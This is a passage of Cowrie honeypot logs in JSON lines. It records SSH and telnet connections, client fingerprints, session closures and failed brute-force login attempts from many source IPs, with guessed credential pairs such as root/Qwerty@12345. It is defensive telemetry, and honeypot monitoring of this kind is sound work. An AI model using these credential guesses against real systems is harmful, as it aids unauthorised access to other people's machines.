{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:50.710852Z","src_ip":"163.7.9.84","session":"fa0b9f0d01b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0011439323425293,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:51.080653Z","src_ip":"176.65.148.251","session":"e68703eed56a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vin","password":"123456","message":"login attempt [vin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:51.750502Z","src_ip":"163.7.9.84","session":"fa0b9f0d01b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:53.005000Z","src_ip":"163.7.9.84","session":"fa0b9f0d01b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33750,"dst_ip":"10.17.0.5","dst_port":22,"session":"35586e458d28","protocol":"ssh","message":"New connection: 62.133.62.83:33750 (10.17.0.5:22) [session: 35586e458d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:59.432935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:59.437577Z","src_ip":"62.133.62.83","session":"35586e458d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:59.518302Z","src_ip":"62.133.62.83","session":"35586e458d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sherri","message":"login attempt [root/sherri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:59.757802Z","src_ip":"62.133.62.83","session":"35586e458d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:00.839452Z","src_ip":"62.133.62.83","session":"35586e458d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52999567985535,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:01.700331Z","src_ip":"172.81.62.90","session":"4d42cbfd8d84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.3184859752655,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:05.477640Z","src_ip":"172.81.62.90","session":"4358feb292e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.232825756073,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:05.573397Z","src_ip":"172.81.62.90","session":"c25589ae2b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":38506,"dst_ip":"159.203.135.109","dst_port":22,"session":"7892d9c163f6","protocol":"ssh","message":"New connection: 152.32.214.226:38506 (159.203.135.109:22) [session: 7892d9c163f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:06.789113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:06.794847Z","src_ip":"152.32.214.226","session":"7892d9c163f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:07.008721Z","src_ip":"152.32.214.226","session":"7892d9c163f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"1234","message":"login attempt [leo/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:07.896961Z","src_ip":"152.32.214.226","session":"7892d9c163f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:09.115524Z","src_ip":"152.32.214.226","session":"7892d9c163f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.18787503242493,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:09.500852Z","src_ip":"172.81.62.90","session":"6d9218130ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":54168,"dst_ip":"10.17.0.5","dst_port":22,"session":"9902fb0c3506","protocol":"ssh","message":"New connection: 87.106.47.28:54168 (10.17.0.5:22) [session: 9902fb0c3506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:14.196604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:14.200426Z","src_ip":"87.106.47.28","session":"9902fb0c3506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:14.296803Z","src_ip":"87.106.47.28","session":"9902fb0c3506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@12345","message":"login attempt [root/Qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:14.704793Z","src_ip":"87.106.47.28","session":"9902fb0c3506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02097225189209,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:15.493634Z","src_ip":"172.81.62.90","session":"0d566d75eb68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:15.823290Z","src_ip":"87.106.47.28","session":"9902fb0c3506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":54892,"dst_ip":"10.17.0.5","dst_port":22,"session":"186dda89e2b1","protocol":"ssh","message":"New connection: 181.188.176.242:54892 (10.17.0.5:22) [session: 186dda89e2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:21.789944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:21.795659Z","src_ip":"181.188.176.242","session":"186dda89e2b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:21.962304Z","src_ip":"181.188.176.242","session":"186dda89e2b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01@2025","message":"login attempt [user01/user01@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:22.665407Z","src_ip":"181.188.176.242","session":"186dda89e2b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:23.835050Z","src_ip":"181.188.176.242","session":"186dda89e2b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55954,"dst_ip":"159.203.135.109","dst_port":23,"session":"0037b8304463","protocol":"telnet","message":"New connection: 107.6.151.170:55954 (159.203.135.109:23) [session: 0037b8304463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:29.453249Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60242,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1b10fea8c2","protocol":"telnet","message":"New connection: 94.23.66.112:60242 (10.17.0.5:23) [session: 0b1b10fea8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:29.869345Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53762,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b8c085fce87","protocol":"telnet","message":"New connection: 107.6.151.170:53762 (159.203.135.109:23) [session: 6b8c085fce87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:30.450687Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37210,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7b9addd1f83","protocol":"telnet","message":"New connection: 128.199.8.54:37210 (159.203.135.109:23) [session: f7b9addd1f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:46.703341Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b7ce786a0c","protocol":"telnet","message":"New connection: 172.81.62.90:54468 (159.203.135.109:23) [session: 35b7ce786a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:52.121903Z"}
{"eventid":"cowrie.session.closed","duration":30.252328395843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:38:59.705427Z","src_ip":"107.6.151.170","session":"0037b8304463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55918,"dst_ip":"159.203.135.109","dst_port":23,"session":"947b14b50d62","protocol":"telnet","message":"New connection: 128.199.8.54:55918 (159.203.135.109:23) [session: 947b14b50d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:02.673096Z"}
{"eventid":"cowrie.session.closed","duration":32.48501396179199,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:02.935589Z","src_ip":"107.6.151.170","session":"6b8c085fce87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5843,"dst_ip":"10.17.0.5","dst_port":22,"session":"541937636f46","protocol":"ssh","message":"New connection: 196.188.93.169:5843 (10.17.0.5:22) [session: 541937636f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:24.699106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:24.707464Z","src_ip":"196.188.93.169","session":"541937636f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:24.876580Z","src_ip":"196.188.93.169","session":"541937636f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!@12","message":"login attempt [root/root!@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:25.582355Z","src_ip":"196.188.93.169","session":"541937636f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:26.752890Z","src_ip":"196.188.93.169","session":"541937636f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09942364692688,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:28.221205Z","src_ip":"172.81.62.90","session":"35b7ce786a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.75870990753174,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:32.430619Z","src_ip":"128.199.8.54","session":"947b14b50d62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":46741,"dst_ip":"10.17.0.5","dst_port":22,"session":"f60b12953d7d","protocol":"ssh","message":"New connection: 36.92.41.115:46741 (10.17.0.5:22) [session: f60b12953d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:44.585728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:44.589848Z","src_ip":"36.92.41.115","session":"f60b12953d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:44.839343Z","src_ip":"36.92.41.115","session":"f60b12953d7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:45.870355Z","src_ip":"36.92.41.115","session":"f60b12953d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:47.123100Z","src_ip":"36.92.41.115","session":"f60b12953d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.39803671836853,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:48.101257Z","src_ip":"128.199.8.54","session":"f7b9addd1f83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":54376,"dst_ip":"159.203.135.109","dst_port":22,"session":"17565885a147","protocol":"ssh","message":"New connection: 14.63.196.175:54376 (159.203.135.109:22) [session: 17565885a147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:52.992550Z"}
